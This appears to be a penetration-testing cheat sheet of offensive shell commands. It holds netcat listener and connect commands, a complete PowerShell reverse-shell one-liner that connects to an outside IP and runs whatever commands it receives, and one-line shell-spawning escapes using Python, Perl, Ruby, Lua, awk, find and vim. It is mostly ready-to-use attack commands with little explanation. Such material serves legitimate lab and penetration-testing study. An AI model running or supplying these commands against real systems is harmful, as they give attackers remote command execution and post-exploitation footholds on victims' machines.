env

Start netcat listener on a specified port

sudo nc -lvnp <port #>

Connect to a netcat listener

nc -nv <ip_address> <port>

Bind shell using netcat

PowerShell Reverse Shell

### PowerShell one-liner used to connect back to a listener
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Shell Spawning Techniques

Python Interactive Shell

python -c 'import pty; pty.spawn("/bin/sh")'

Basic Linux Shell

/bin/sh -i

Perl Interactive Shell

perl -e 'exec "/bin/sh";'

Ruby Interactive Shell

exec "/bin/sh"

Lua Interactive Shell

os.execute('/bin/sh')

Awk Shell

awk 'BEGIN {system("/bin/sh")}'

Find Command for Shell Spawning

find / -name nameoffile -exec /bin/awk 'BEGIN {system("/bin/sh")}\;'
find . -exec /bin/sh \; -quit

Vim Shell Escape

vim -c ':!/bin/sh'
